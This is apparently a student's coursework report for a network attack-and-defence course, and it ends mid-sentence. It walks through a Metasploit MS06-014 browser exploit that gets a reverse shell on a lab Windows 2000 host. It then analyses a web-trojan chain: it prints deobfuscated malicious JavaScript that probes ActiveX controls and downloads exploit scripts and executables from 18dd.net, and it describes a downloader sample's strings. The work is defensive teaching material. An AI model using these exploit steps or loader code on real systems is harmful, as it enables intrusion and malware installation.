20253912 2025-2026-2 《网络攻防实践》第十一次作业报告
20253912 2025-2026-2 《网络攻防实践》第十一次作业报告
一、知识梳理与总结
1.1 本次作业的实践目标
本次作业围绕 Web 浏览器渗透攻击、网页木马攻击场景取证分析、Web 浏览器渗透攻击攻防对抗 三个部分展开。与前几次以端口扫描、远程服务漏洞或 Web 表单漏洞为主的实验相比,本次作业的核心对象转向了“客户端浏览器”。攻击方不再只是直接连接目标主机的开放端口,而是构造一个网页入口,诱导旧版本浏览器访问该页面,并借助浏览器、ActiveX 控件或浏览器插件中的漏洞执行 Payload。
本次实践可以概括为三条线索:
- 攻击验证线索:Kali 使用 Metasploit 选择 MS06-014 浏览器漏洞模块,设置 Payload、监听地址和 URL 路径,生成恶意网页 URL;Windows 靶机访问该 URL 后,如果浏览器环境满足漏洞触发条件,攻击方即可获得远程 Shell Session。
- 取证分析线索:从
start.html开始逐层分析网页木马链路,依次定位new09.htm、外部脚本、加密 JavaScript、二阶段脚本、CAB 文件和最终 EXE 样本。每发现一个新的 URL,都按照题目要求计算 32 位 MD5,并用散列值定位对应文件。 - 攻防对抗线索:攻击方构造两个不同浏览器端漏洞利用 URL,并通过混淆入口页面统一封装;防守方不直接点击链接,而是提取邮件 URL、下载源码、解混淆、还原真实攻击地址,并判断其针对的漏洞类型。
这三条线索共同体现出:浏览器攻击不是单点漏洞利用,而是由“入口页面、脚本加载、漏洞触发、Payload 执行、样本落地、取证分析”组成的完整攻击链。
1.2 Web 浏览器渗透攻击原理
Web 浏览器渗透攻击属于典型的 客户端攻击。传统服务器端攻击通常针对目标主机主动开放的网络服务,例如 SMB、FTP、Web、数据库等;浏览器端攻击则把目标放在用户主机上的浏览器、脚本解释器、ActiveX 控件、播放器插件或工具栏控件上。攻击是否成功,不仅取决于漏洞模块本身,还受到浏览器版本、系统补丁状态、ActiveX 安全设置、脚本执行策略和浏览器进程稳定性的影响。
网页木马通常会伪装成普通页面。当用户访问入口页面后,页面中的 JavaScript、iframe、object 或 script 标签会在后台加载真正的漏洞利用页面。漏洞利用页面会构造异常参数、恶意对象、堆喷射代码或 shellcode,使浏览器在解析页面或调用控件时触发漏洞。漏洞触发后,Payload 才是真正执行的内容,常见形式包括反向 Shell、绑定端口 Shell、下载执行器或 Meterpreter 会话。
本次实验使用的 MS06-014 相关模块就是典型的旧版 IE/ActiveX 浏览器端漏洞利用场景。靶机浏览器访问 Metasploit 提供的恶意 URL 后,页面可能没有明显变化,甚至只是空白或卡顿,但攻击是否成功要以 Metasploit 中是否生成 Session 为准。
1.3 Metasploit 模块、Payload 与 Session
在 Metasploit 中,浏览器渗透攻击通常由三个关键部分组成:
| 组成部分 | 作用 | 本次实验中的体现 |
|---|---|---|
| Exploit 模块 | 负责生成漏洞触发页面,并利用目标浏览器或控件缺陷 | exploit/windows/browser/ie_createobject、ms10_002_aurora 等 |
| Payload | 漏洞触发后执行的载荷 | windows/shell/reverse_tcp |
| Session | Payload 成功执行后建立的控制通道 | sessions -l 查看,sessions -i 1 进入 |
其中,SRVHOST 和 SRVPORT 是攻击方提供恶意网页服务的监听地址和端口;URIPATH 是靶机访问的 URL 路径;LHOST 和 LPORT 是 Payload 回连攻击机时使用的地址和端口。实验中最容易混淆的是 SRVHOST 与 LHOST:前者负责“让靶机访问网页”,后者负责“让靶机成功回连 Shell”。
Session 建立后,命令环境会发生变化。处于 msf6 > 时应执行 Metasploit 命令,如 jobs -v、sessions -l;进入远程 Shell 后,提示符会变成 Windows 路径,此时应执行 ipconfig、hostname、dir 等 Windows 命令。这个细节直接影响实验判断。
1.4 网页木马链式加载与取证分析
网页木马往往不是一个单独文件,而是一个多层加载链。常见结构如下:
入口页面
↓
隐藏 iframe / 外链 script
↓
加密或混淆 JavaScript
↓
浏览器控件探测与漏洞选择
↓
二阶段脚本 / CAB 文件 / Shellcode
↓
最终 EXE 样本
本次取证分析从 start.html 开始,先定位 new09.htm,再从 new09.htm 中提取外部资源地址。按照实验要求,每解密出一个 URL,就需要对 URL 字符串计算 32 位 MD5,并以小写 MD5 值作为文件名查找对应文件。这里要特别注意:计算的是“URL 字符串”的 MD5,而不是下载后文件内容的 MD5;同时不能多加换行符、空格或错误大小写。
取证分析的核心原则是 不直接运行可疑文件,而是逐层还原证据链。对于网页或脚本文件,继续查看是否存在 iframe、script、eval、unescape、ActiveXObject 等特征;对于二进制文件,则使用 PEiD、strings、IDA、Imports 和 Strings 窗口进行静态分析。
1.5 常见混淆、加密与解码技术
本次网页木马分析中涉及多种混淆方式:
| 技术 | 表现形式 | 分析方法 |
|---|---|---|
| 十六进制转义 | \x68\x74\x74\x70 |
转换为 ASCII,恢复 URL 或 JS 代码 |
| 八进制转义 | \57\52\45... |
使用 Python 正则反转义 |
| URL 编码 | http%3A%2F%2F... |
使用 unquote() 或 CyberChef 解码 |
| Base64 编码 | 大段 A-Z a-z 0-9 + / = 字符串 |
先 Base64 解码,再判断下一层格式 |
| XXTEA 加密 | xxtea_decrypt(base64decode(t), key) |
确认密钥和密文变量,使用兼容工具解密 |
| packed JS | eval(function(p,a,c,k,e,d){...}) |
使用解包工具或替换 eval 为输出 |
| Shellcode 编码 | unescape("%u9090%u....") |
按小端序还原字节并提取字符串 |
这些混淆手段的目的不是单纯“加密”,而是隐藏真实 URL、延迟分析过程、绕过简单字符串检测,并根据不同浏览器环境选择不同攻击路径。分析时不能只靠肉眼看源码,而要先识别编码类型,再选择对应工具逐层还原。
1.6 二进制样本静态分析知识点
当网页木马链路最终指向 EXE 或 CAB 文件时,分析重点从脚本层转向 PE 文件静态分析。本次实验中使用的关键方法包括:
- 文件类型识别:使用
file、md5sum、sha256sum判断样本基本属性和哈希值。 - 字符串提取:使用
strings -a提取 ASCII 字符串,使用strings -a -el提取 Unicode 字符串,搜索 URL、注册表路径、系统命令和可疑文件名。 - 壳识别:使用 PEiD 判断是否存在常见壳,区分“加壳程序”和“普通编译器特征”。
- IDA 分析:通过 Strings 窗口寻找下载地址、注册表路径、服务名和命令字符串;通过 Imports 窗口查看是否导入
URLDownloadToFileA、CreateProcessA、RegSetValueExA、WriteProcessMemory等关键 API。 - 行为推断:将字符串和导入函数结合起来,判断样本是否具备下载后续程序、文件写入、注册表修改、服务管理、进程注入或持久化能力。
本次样本中出现了大量下载地址、注册表路径、自动运行配置和进程操作 API,因此可以从静态证据上推断其具有下载器和系统修改行为。
1.7 攻防对抗中的防守分析思路
攻防对抗部分的重点不是“防守方也去点击链接”,而是模拟安全分析人员对可疑邮件链接进行静态审计。防守方应先从邮件正文中提取 URL,再用 wget 下载入口页面源码,搜索可疑特征,并对 unescape()、URL 编码、十六进制字符串或 packed JS 进行解混淆。
防守方需要关注以下证据:
- 邮件正文中的 URL 是否指向陌生主机或实验攻击机;
- 页面源码中是否存在隐藏
iframe、script、document.write、eval、unescape; - 是否存在多个不同端口和路径的漏洞利用页面;
- Metasploit 模块名称是否对应某类浏览器漏洞;
- 响应源码中是否包含
ActiveX、classid、shellcode、heap spray等典型浏览器漏洞利用特征。
从防御角度看,应结合邮件网关 URL 过滤、浏览器补丁更新、禁用高危 ActiveX、终端防护、IDS/WAF 脚本特征检测和网络流量审计,形成多层防护。
1.8 与第二次至第十次作业之间的联系
(1)与第二次作业的联系:从信息收集到攻击入口确认
第二次作业主要训练信息收集、端口扫描、服务识别和漏洞评估能力。本次浏览器渗透攻击虽然目标是客户端浏览器,但仍然离不开基础环境识别,例如确认 Kali、Win2K、WinXP 的 IP 地址、连通性和服务端口。第二次解决的是“目标在哪里、服务是否可达”,本次进一步进入“如何构造入口页面并触发客户端漏洞”。
(2)与第三次作业的联系:从流量捕获到 HTTP 攻击链理解
第三次作业训练了 Wireshark、tcpdump 和协议分析能力。本次实验中,靶机访问入口页面、加载隐藏 iframe、请求 exploit 页面、回连 Shell,本质上都可以通过 HTTP/TCP 流量观察。第三次掌握的抓包思路可以帮助判断靶机是否真的访问了恶意 URL、是否下载了脚本或 EXE、是否出现反向连接。
(3)与第四次作业的联系:从协议缺陷到客户端漏洞触发
第四次作业关注 ARP 欺骗、ICMP 重定向、SYN Flood、RST 注入等协议层或传输层攻击。本次实验转向应用层和客户端层,说明攻击不只发生在网络协议本身,也可能发生在浏览器解析网页、调用控件和执行脚本的过程中。两者共同体现了一个思想:只要系统默认信任不可信输入,就可能被攻击者改变原本执行流程。
(4)与第五次作业的联系:从防火墙、IDS 与蜜网到挂马检测
第五次作业学习了防火墙、IDS 和蜜网防御思想。本次实验中的隐藏 iframe、unescape、eval、ActiveX 控件调用、EXE 下载地址等,都可以转化为 IDS/WAF 检测特征。蜜网思路也可用于捕获网页木马访问链和样本落地过程。
(5)与第六次作业的联系:从 Windows 远程漏洞利用到浏览器远程 Shell
第六次作业围绕 Windows 远程漏洞利用和取证复盘展开,重点是远程控制、命令执行和证据链还原。本次浏览器漏洞利用同样以远程 Shell 为验证目标,只是入口从系统服务变成了浏览器页面访问。两次作业都要求理解 Payload、会话、命令执行和主机侧证据。
(6)与第七次作业的联系:从 Linux Samba 利用到 Metasploit 模块化攻击
第七次作业使用 Metasploit 利用 Linux Samba 漏洞,并分析 RHOST、LHOST、反向 Shell 和会话。第十一次作业继续使用 Metasploit,但攻击对象变成浏览器。二者都体现了 Metasploit 的模块化思想:选择 Exploit、配置 Payload、设置地址参数、运行模块、查看 Session。
(7)与第八次作业的联系:从恶意代码逆向到网页木马样本分析
第八次作业涉及恶意代码逆向、字符串分析和僵尸网络取证。本次网页木马取证直接继承了这些能力:从脚本中还原下载地址,从 EXE 中提取字符串,在 IDA 中查看 Imports 和 Strings,推断样本行为。第八次更偏向单个样本逆向,本次则强调“从网页入口到最终样本”的完整链路还原。
(8)与第九次作业的联系:从二进制控制流到浏览器 Shellcode
第九次作业围绕 pwn、返回地址覆盖、Shellcode 和控制流劫持展开。本次网页木马中的 unescape("%u9090%u....")、heap spray、Shellcode 下载执行等内容,与第九次的二进制控制流思想相通。区别在于:第九次是在本地程序中构造溢出,本次是在浏览器进程中通过网页脚本触发漏洞。
(9)与第十次作业的联系:从 SQL/XSS 到浏览器挂马与防守审计
第十次作业重点是 SQL 注入与 XSS。SQL 注入改变数据库语句执行逻辑,XSS 改变浏览器端脚本执行逻辑。本次网页木马进一步展示了浏览器端脚本的危险性:脚本不仅能弹窗或窃取 Cookie,还可能加载漏洞利用页面、调用 ActiveX 控件、下载 EXE 并形成远程控制。第十次强调 Web 应用输入输出安全,本次则把脚本执行风险扩展到浏览器漏洞利用和终端安全。
知识拓扑图:

二、实践过程
本部分按照作业要求,依次记录 Web 浏览器渗透攻击、网页木马攻击场景取证分析以及 Web 浏览器渗透攻击攻防对抗三个实验过程。为保证报告完整性,原始实验截图全部保留;对关键配置、关键截图和关键结果补充必要说明,简单的文件移动、压缩或下载过程不再作过多解释。
2.1 Web 浏览器渗透攻击
2.1.1 实验目标
使用 Kali 攻击机和 Windows 靶机完成浏览器渗透攻击。攻击方利用 Metasploit 中的 MS06-014 浏览器漏洞模块生成恶意网页木马 URL,靶机访问该 URL 后,攻击机尝试获取远程 Shell 会话,并在靶机上执行命令验证攻击效果。
2.1.2 实验环境
| 角色 | 虚拟机 | 操作系统 | IP 地址 | 说明 |
|---|---|---|---|---|
| 攻击机 | Kali | Kali Linux | 192.168.5.2 |
运行 Metasploit |
| 靶机 | Win2kServer | Windows 2000 Server | 192.168.5.5 |
使用 IE 浏览器访问恶意 URL |


上述两张图用于确认实验虚拟机环境。攻击机和靶机均处于同一实验网段,后续 Metasploit 服务发布、靶机浏览器访问 URL 以及 Payload 回连都依赖该网络拓扑。
2.1.3 靶机网络配置与连通性测试
在 Win2kServer 靶机中打开命令提示符,查看 IP 地址:
ipconfig
确认靶机 IP 为:
192.168.5.5
在 Kali 中测试是否可以访问靶机:
ping -c 4 192.168.5.5
在 Windows 靶机中测试是否可以访问 Kali:
ping 192.168.5.2
如果双方均能 ping 通,说明网络连通性正常,可以继续实验。
Kali Ping 2K:

2K Ping Kali:

2.1.4 启动 Metasploit 并选择 MS06-014 模块
在 Kali 中启动 Metasploit:
msfconsole
等待进入 msf6 > 或 msf > 提示符后,搜索 MS06-014 相关模块:
search MS06-014
如果搜索结果较少,也可以搜索模块名称:
search ie_createobject
选择浏览器漏洞模块:
use exploit/windows/browser/ie_createobject
查看模块信息:
show info
查看需要配置的参数:
show options





2.1.5 设置 Payload 与服务参数
本实验选择反向 Shell Payload,靶机访问恶意网页后主动回连 Kali 攻击机:
set PAYLOAD windows/shell/reverse_tcp
设置恶意网页监听地址。SRVHOST 建议设置为 Kali 的实际 IP:
set SRVHOST 192.168.5.2
设置 Web 服务端口:
set SRVPORT 8080
设置 URL 路径,便于报告记录:
set URIPATH /ms06014
设置反向连接的攻击机地址:
set LHOST 192.168.5.2
设置反向连接端口:
set LPORT 4444

再次查看配置:
show options

确认关键参数如下:
SRVHOST 192.168.5.2
SRVPORT 8080
URIPATH /ms06014
LHOST 192.168.5.2
LPORT 4444
PAYLOAD windows/shell/reverse_tcp
2.1.6 运行 Exploit 并生成恶意网页 URL
运行攻击模块:
exploit -j
-j 表示以后台任务方式运行。成功运行后,Metasploit 会输出恶意网页地址,格式类似:
http://192.168.5.2:8080/ms06014

查看后台任务:
jobs
jobs -v


2.1.7 靶机访问恶意网页
在 Win2kServer 靶机中启动 Internet Explorer 浏览器,在地址栏输入攻击机生成的 URL:
http://192.168.5.2:8080/ms06014
访问页面后,浏览器可能出现空白页、乱码、短暂卡顿或无明显变化。这并不一定代表失败,因为浏览器漏洞利用往往在后台触发。此时应回到 Kali 的 Metasploit 查看是否产生会话。

2.1.8 查看并进入远程 Session
在 Metasploit 中查看是否生成会话:
sessions -l

该截图是浏览器渗透攻击是否成功的关键证据。页面表面是否显示异常并不重要,真正的判断依据是 Metasploit 中是否出现有效 Session 以及能否在远程 Shell 中执行系统命令。
说明攻击成功建立远程 Shell。进入第 1 个会话:
sessions -i 1
在远程 Shell 中执行命令验证当前控制对象:
hostname
ipconfig
whoami
dir C:\

成功进入
退出 Session:
exit
回到 Metasploit 后停止后台任务:
jobs -K

2.1.9 本部分小结
本实验展示了浏览器客户端漏洞利用的基本流程。攻击者通过 Metasploit 搭建恶意网页服务,靶机浏览器访问后触发漏洞并执行 Payload,最终在攻击机上建立远程 Shell。与传统服务端漏洞利用不同,本实验的关键触发点是“用户访问网页”,因此在真实安全防护中,浏览器补丁、邮件链接过滤、恶意 URL 检测和终端防护都非常重要。
2.2 取证分析实践:网页木马攻击场景分析
2.2.1 实验目标
本部分实验要求从 start.html 开始,还原网页木马攻击链。每解密出一个 URL,就对该 URL 计算 32 位 MD5 散列,并以散列值为文件名到指定目录或服务中获取对应文件。如果获取到的是网页或脚本文件,则继续解密;如果获取到的是二进制程序文件,则进行静态反汇编或动态调试分析,直到所有文件全部分析完成。
2.2.2 实验环境与文件准备
| 项目 | 内容 |
|---|---|
| 分析主机 | Kali、WinXP |
| 入口文件 | start.html |
| 关键中间文件 | new09.htm |
| 文件获取方式 | 对 URL 做 MD5 后,在 hashed 目录或 http://192.168.68.253/scom/hashed/ 下载 |
| 常用工具 | 记事本、Firefox、md5sum、strings、xxd、file、7z、IDA、PEiD、超级巡警脱壳工具 |
在学习通中下载start.html文件后使用记事本打开:

2.2.3 分析 start.html
先判断文件类型:
file start.html
查看文件前 120 行:
sed -n '1,120p' start.html
搜索 new09.htm:


看到内容:urlresult="new09.htm";可以得到结论:new09.htm 与 start.html在同一目录下。
对照学习通中的网页挂马分析实践参考(上).pdf文件可得到对应的补全 new09.htm 的实际内容。

可以判断,new09.htm 并不直接包含完整漏洞利用代码,而是通过隐藏 iframe 加载 kl.htm,并通过 script 标签加载 1299644.js。这符合网页木马常见的分层加载方式。
2.2.4 分析 new09.htm
通过提取文件的两个网址得到:
http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js

2.2.5 对 URL 计算 MD5
注意:题目要求对“解密出的文件地址”做 32 位 MD5,文件名中的英文字母使用小写,且没有扩展名。计算时必须保留 URL 原始字符串,不要多加空格或换行。
在 Kali 中执行:
printf "%s" "http://aa.18dd.net/aa/kl.htm" | md5sum
printf "%s" "http://js.users.51.la/1299644.js" | md5sum
得到的 MD5 记录为小写形式:
7f60672dcd6b5e90b6772545ee219bd3
23180a42a2ff1192150231b44ffdf3d3

在学习通里面下载压缩包并解压:

在本地 hashed 文件夹,可以直接查找:
find ./hashed -iname "7f60672dcd6b5e90b6772545ee219bd3"
find ./hashed -iname "23180a42a2ff1192150231b44ffdf3d3"

2.2.6 查看两个散列文件内容
查看文件类型:
file 7f60672dcd6b5e90b6772545ee219bd3
file 23180a42a2ff1192150231b44ffdf3d3

查看文件前几行:
sed -n '1,120p' 7f60672dcd6b5e90b6772545ee219bd3
sed -n '1,120p' 23180a42a2ff1192150231b44ffdf3d3


分析可见,其中一个文件内容较简单,另一个文件包含加密/混淆 JavaScript。混淆脚本中可观察到 xxtea_decrypt、base64decode 等关键字,说明其使用了 XXTEA 和 Base64 组合加密。
2.2.7 提取 XXTEA 解密密钥
在加密脚本中可以看到类似语句:
t=utf8to16(xxtea_decrypt(base64decode(t),'\x73\x63\x72\x69\x70\x74'));

其中:
\x73\x63\x72\x69\x70\x74
是十六进制转义形式。可以用 Python 转换:
python3 - <<'PY'
s = r"\x73\x63\x72\x69\x70\x74"
print(bytes.fromhex(s.replace("\\x", "")).decode())
PY
输出:
script
因此,XXTEA 解密密钥为:
script

在当前目录执行:
nl -ba 7f60672dcd6b5e90b6772545ee219bd3 | sed -n '25,35p'

真正要复制的是 t 后面双引号里的那一长串内容。
自动提取加密字段,执行下面命令:
python3 - <<'PY'
import re
fn = "7f60672dcd6b5e90b6772545ee219bd3"
with open(fn, "r", encoding="latin1", errors="ignore") as f:
data = f.read()
items = re.findall(r'\bt\s*=\s*["\']([^"\']+)["\']', data, re.S)
if not items:
print("没有自动提取到 t=\"...\",请用 nl -ba 查看第 25-35 行手动确认")
else:
cipher = max(items, key=len)
cipher = cipher.replace("\n", "").replace("\r", "").replace(" ", "")
with open("cipher.txt", "w", encoding="utf-8") as out:
out.write(cipher)
print("已提取到 cipher.txt")
print("长度:", len(cipher))
print("开头:", cipher[:80])
print("结尾:", cipher[-80:])
PY
然后打开:
mousepad cipher.txt

2.2.8 解密并整理主控 JavaScript
将加密字段复制到解密工具中,选择:
Base64 解码 + XXTEA 解密
密钥:script
解密结果:

然后使用工具解密为JavaScript:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
解密后得到的 JavaScript 主要逻辑包括:
- 检查 Cookie 中是否存在标记,避免重复执行;
- 创建 ActiveX 对象判断系统组件或浏览器插件是否存在;
- 根据不同控件存在情况加载不同脚本;
- 尝试调用
Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1、BaiduBar.Tool等对象; - 继续加载多个外部 JS 或 CAB 文件。
从解密结果中可以提取出以下后续文件地址:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
对应漏洞或控件判断点包括:
| 调用对象 | 可能利用方向 |
|---|---|
Adodb.Stream |
IE/ActiveX 下载写文件相关利用 |
MPS.StormPlayer |
暴风影音控件相关漏洞 |
POWERPLAYER.PowerPlayerCtrl.1 |
PPS/播放器控件相关漏洞 |
BaiduBar.Tool |
百度工具栏控件下载执行相关风险 |
2.2.9 计算 4 个后续 URL 的 MD5
执行:
python3 - <<'PY'
import hashlib
urls = [
"http://aa.18dd.net/aa/1.js",
"http://aa.18dd.net/aa/b.js",
"http://aa.18dd.net/aa/pps.js",
"http://down.18dd.net/bb/bd.cab",
]
for u in urls:
print(u, hashlib.md5(u.encode()).hexdigest())
PY
记录如下:

| URL | MD5 小写 |
|---|---|
http://aa.18dd.net/aa/1.js |
5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js |
3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js |
5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab |
1c1d7b3539a617517c49eee4120783b2 |
在本地 hashed 文件夹中查找:
find -iname "5d7e9058a857aa2abee820d5473c5fa4"
find -iname "3870c28cc279d457746b3796a262f166"
find -iname "5f0b8bf0385314dbe0e5ec95e6abedc2"
find -iname "1c1d7b3539a617517c49eee4120783b2"

2.2.10 分析 1.js、b.js、pps.js 与 bd.cab
分析 1.js 对应文件:
cp ./hashed/5d7e9058a857aa2abee820d5473c5fa4 ./work_1js.txt
file work_1js.txt
sed -n '1,120p' work_1js.txt
如果其中存在十六进制字符串,可以将十六进制转为 ASCII:
python3 - <<'PY'
hexstr = "687474703a2f2f646f776e2e313864642e6e65742f62622f3031342e657865"
print(bytes.fromhex(hexstr).decode("ascii", errors="ignore"))
PY
根据解码结果可还原出下载地址:
http://down.18dd.net/bb/014.exe

分析 b.js 对应文件:
cp ./hashed/3870c28cc279d457746b3796a262f166 ./work_bjs.txt
file work_bjs.txt
sed -n '1,120p' work_bjs.txt
发现代码形态类似:
eval(function(p,a,c,k,e,d){...})
说明该文件使用了 JavaScript packed 混淆。解包后可搜索十六进制中 http:// 的编码特征:
http:// 对应十六进制:68 74 74 70 3a 2f 2f
将可疑十六进制串转为字符串:
python3 - <<'PY'
hexstr = "687474703a2f2f646f776e2e313864642e6e65742f62622f62662e657865"
print(bytes.fromhex(hexstr).decode("ascii", errors="ignore"))
PY
得到下载地址:
http://down.18dd.net/bb/bf.exe

分析 pps.js 对应文件:
cp ./hashed/5f0b8bf0385314dbe0e5ec95e6abedc2 ./work_ppsjs.txt
file work_ppsjs.txt
sed -n '1,120p' work_ppsjs.txt

文件中存在大量八进制转义,可以用 Python 做八进制反转义:
python3 - <<'PY'
import re
data = open("work_ppsjs.txt", "r", errors="ignore").read()
out = re.sub(r'\\([0-7]{2,3})', lambda m: chr(int(m.group(1), 8)), data)
open("work_ppsjs_decoded.txt", "w").write(out)
print(out[:1000])
PY
继续搜索 URL:
grep -Eo "https?://[^\"'<> ]+" work_ppsjs_decoded.txt
发现没有输出任何内容:

于是再执行:
ls -l work_ppsjs_decoded.txt
再查看前几行:
head -n 30 work_ppsjs_decoded.txt

发现其中有
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape(...)

就说明八进制解码已经成功
之后用新版脚本提取 shellcode 里的 URL
执行:
python3 - <<'PY'
import re
fn = "work_ppsjs_decoded.txt"
data = open(fn, "r", encoding="latin1", errors="ignore").read()
m = re.search(r'var\s+shellcode\s*=\s*unescape\s*\((.*?)\)\s*;', data, re.S)
if not m:
print("没有找到 shellcode = unescape(...) 结构")
raise SystemExit
body = m.group(1)
parts = re.findall(r'"([^"]*)"', body, re.S)
encoded = ''.join(parts)
print("拼接后的 encoded 长度:", len(encoded))
print("encoded 前 100 字符:", encoded[:100])
buf = bytearray()
pos = 0
while pos < len(encoded):
if encoded[pos:pos+2] == "%u" and pos + 6 <= len(encoded):
h = encoded[pos+2:pos+6]
try:
v = int(h, 16)
buf.append(v & 0xff)
buf.append((v >> 8) & 0xff)
pos += 6
continue
except:
pass
if encoded[pos:pos+1] == "%" and pos + 3 <= len(encoded):
h = encoded[pos+1:pos+3]
try:
buf.append(int(h, 16))
pos += 3
continue
except:
pass
pos += 1
open("pps_shellcode.bin", "wb").write(buf)
strings = re.findall(rb'[\x20-\x7e]{4,}', bytes(buf))
with open("pps_shellcode_strings.txt", "w", encoding="latin1") as f:
for s in strings:
f.write(s.decode("latin1", errors="ignore") + "\n")
print("\n可能的 URL / 文件名:")
found = False
for s in strings:
text = s.decode("latin1", errors="ignore")
low = text.lower()
if "http" in low or "18dd" in low or ".exe" in low or "down" in low or "bb/" in low:
print(text)
found = True
if not found:
print("没有自动提取到 URL,请执行 cat pps_shellcode_strings.txt 查看。")
PY

分析 bd.cab 对应文件:
cp ./hashed/1c1d7b3539a617517c49eee4120783b2 ./bd.cab
file bd.cab
7z l bd.cab
7z x bd.cab -oextract_bd


解压后应能发现:
bd.exe

2.2.11 继续追踪最终 EXE 文件
根据前面提取出的下载地址,继续对 URL 计算 MD5:
python3 - <<'PY'
import hashlib
urls = [
"http://down.18dd.net/bb/014.exe",
"http://down.18dd.net/bb/bf.exe",
"http://down.18dd.net/bb/pps.exe",
"http://down.18dd.net/bb/bd.exe",
]
for u in urls:
print(u, hashlib.md5(u.encode()).hexdigest())
PY
记录如下:
| 最终文件地址 | URL 的 MD5 小写 |
|---|---|
http://down.18dd.net/bb/014.exe |
ca4e4a1730b0f69a9b94393d9443b979 |
http://down.18dd.net/bb/bf.exe |
268cbd59fbed235f6cf6b41b92b03f8e |
http://down.18dd.net/bb/pps.exe |
ff59b3b8961f502289c1b4df8c37e2a4 |
http://down.18dd.net/bb/bd.exe |
994f7810e6a461292cc337bf73981e2c |

查找并复制样本:
find ./hashed -iname "ca4e4a1730b0f69a9b94393d9443b979" -exec cp {} ./014.exe \;
find ./hashed -iname "268cbd59fbed235f6cf6b41b92b03f8e" -exec cp {} ./bf.exe \;
find ./hashed -iname "ff59b3b8961f502289c1b4df8c37e2a4" -exec cp {} ./pps.exe \;
find ./hashed -iname "994f7810e6a461292cc337bf73981e2c" -exec cp {} ./bd.exe \;

查看文件:
ls -lh *.exe
file *.exe
md5sum *.exe
sha256sum *.exe
多个 EXE 的文件哈希相同或高度一致,说明它们可能是同一个木马样本通过不同路径被重复下载。

2.2.12 对二进制样本进行静态分析
选择其中一个样本,例如 pps.exe,先进行基础识别:
file pps.exe
md5sum pps.exe
sha256sum pps.exe

提取 ASCII 字符串:
strings -a -n 6 pps.exe > pps_strings_ascii.txt
提取 Unicode 字符串:
strings -a -el -n 6 pps.exe > pps_strings_unicode.txt

搜索可疑字符串:
grep -Ei "http|https|ftp|exe|dll|cmd|reg|run|download|system32|temp" pps_strings_ascii.txt
grep -Ei "http|https|ftp|exe|dll|cmd|reg|run|download|system32|temp" pps_strings_unicode.txt


查看 PE 头部信息:
objdump -x pps.exe | head -100

之前都是在Kali中进行的操作,
将样本放到 WinXP 的隔离分析环境中,用 PEiD、超级巡警脱壳工具和 IDA 打开。
现在样本在 Kali 的 ~/Desktop,先建一个专门给 WinXP 下载的目录:
mkdir -p ~/Desktop/sample_share
把样本复制进去:
cp ~/Desktop/pps.exe ~/Desktop/sample_share/
cp ~/Desktop/014.exe ~/Desktop/sample_share/
cp ~/Desktop/bf.exe ~/Desktop/sample_share/
如果你已经解压出了 bd.exe,也复制进去:
cp ~/Desktop/bd.exe ~/Desktop/sample_share/
查看一下:
ls -lh ~/Desktop/sample_share
应该能看到:
014.exe
bf.exe
pps.exe
bd.exe

Kali 开启临时 HTTP 下载服务
进入目录:
cd ~/Desktop/sample_share
启动 HTTP 服务:
python3 -m http.server 8000 --bind 192.168.5.2

在 WinXP 里打开 IE 浏览器,地址栏输入:
http://192.168.5.2:8000/

下载到桌面

-
用 PEiD 判断是否加壳、编译器类型;

使用 PEiD 对 pps.exe 样本进行识别,工具显示其编译器特征为 Borland Delphi 6.0 - 7.0,入口点位于 CODE 段,入口处首字节为 55 8B EC 83。PEiD 未识别出 UPX、ASPack、PECompact 等常见加壳特征,因此初步判断该样本没有明显常见壳,后续可以直接导入 IDA 进行静态分析。
-
将文件导入 IDA;

-
在 IDA 中查看字符串窗口、导入函数和交叉引用;

看到样本包含大量与网络下载、系统修改和持久化相关的字符串。首先,样本中出现了连续的下载地址,例如
http://down.18dd.net/kl/0.exe到http://down.18dd.net/kl/19.exe,说明该程序可能具有批量下载后续可执行文件的功能,符合网页木马“下载器”或“二阶段加载器”的特征。其次,字符串中出现了
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer、NoDriveTypeAutoRun、{AutoRun}\open、shell\Auto\command等注册表相关内容,说明样本可能会修改系统自动运行配置或资源管理器策略,从而实现开机启动、自动执行或影响系统默认行为。此外,样本中还出现了
cmd /c date 1981-01-12、drivers\klf.sys、Kernel32.dll、ntdll.dll、VirtualAllocEx、ZwUnmapViewOfSection等字符串。其中,VirtualAllocEx和ZwUnmapViewOfSection常与进程内存操作、代码注入或进程替换有关;drivers\klf.sys则表明样本可能涉及驱动文件释放或系统底层文件操作。同时,
QueryServiceConfigA/W、ChangeServiceConfigA/W等服务配置相关函数也出现在字符串窗口中,说明样本可能会查询或修改 Windows 服务配置。综合来看,该样本不仅包含多个恶意下载地址,还涉及注册表修改、服务配置、进程内存操作和系统文件相关行为,因此可以初步判断其具有木马下载、持久化驻留和系统环境修改等可疑特征。

-
查看Imports页面:

在 IDA 的 Imports 导入函数窗口中,可以看到样本导入了
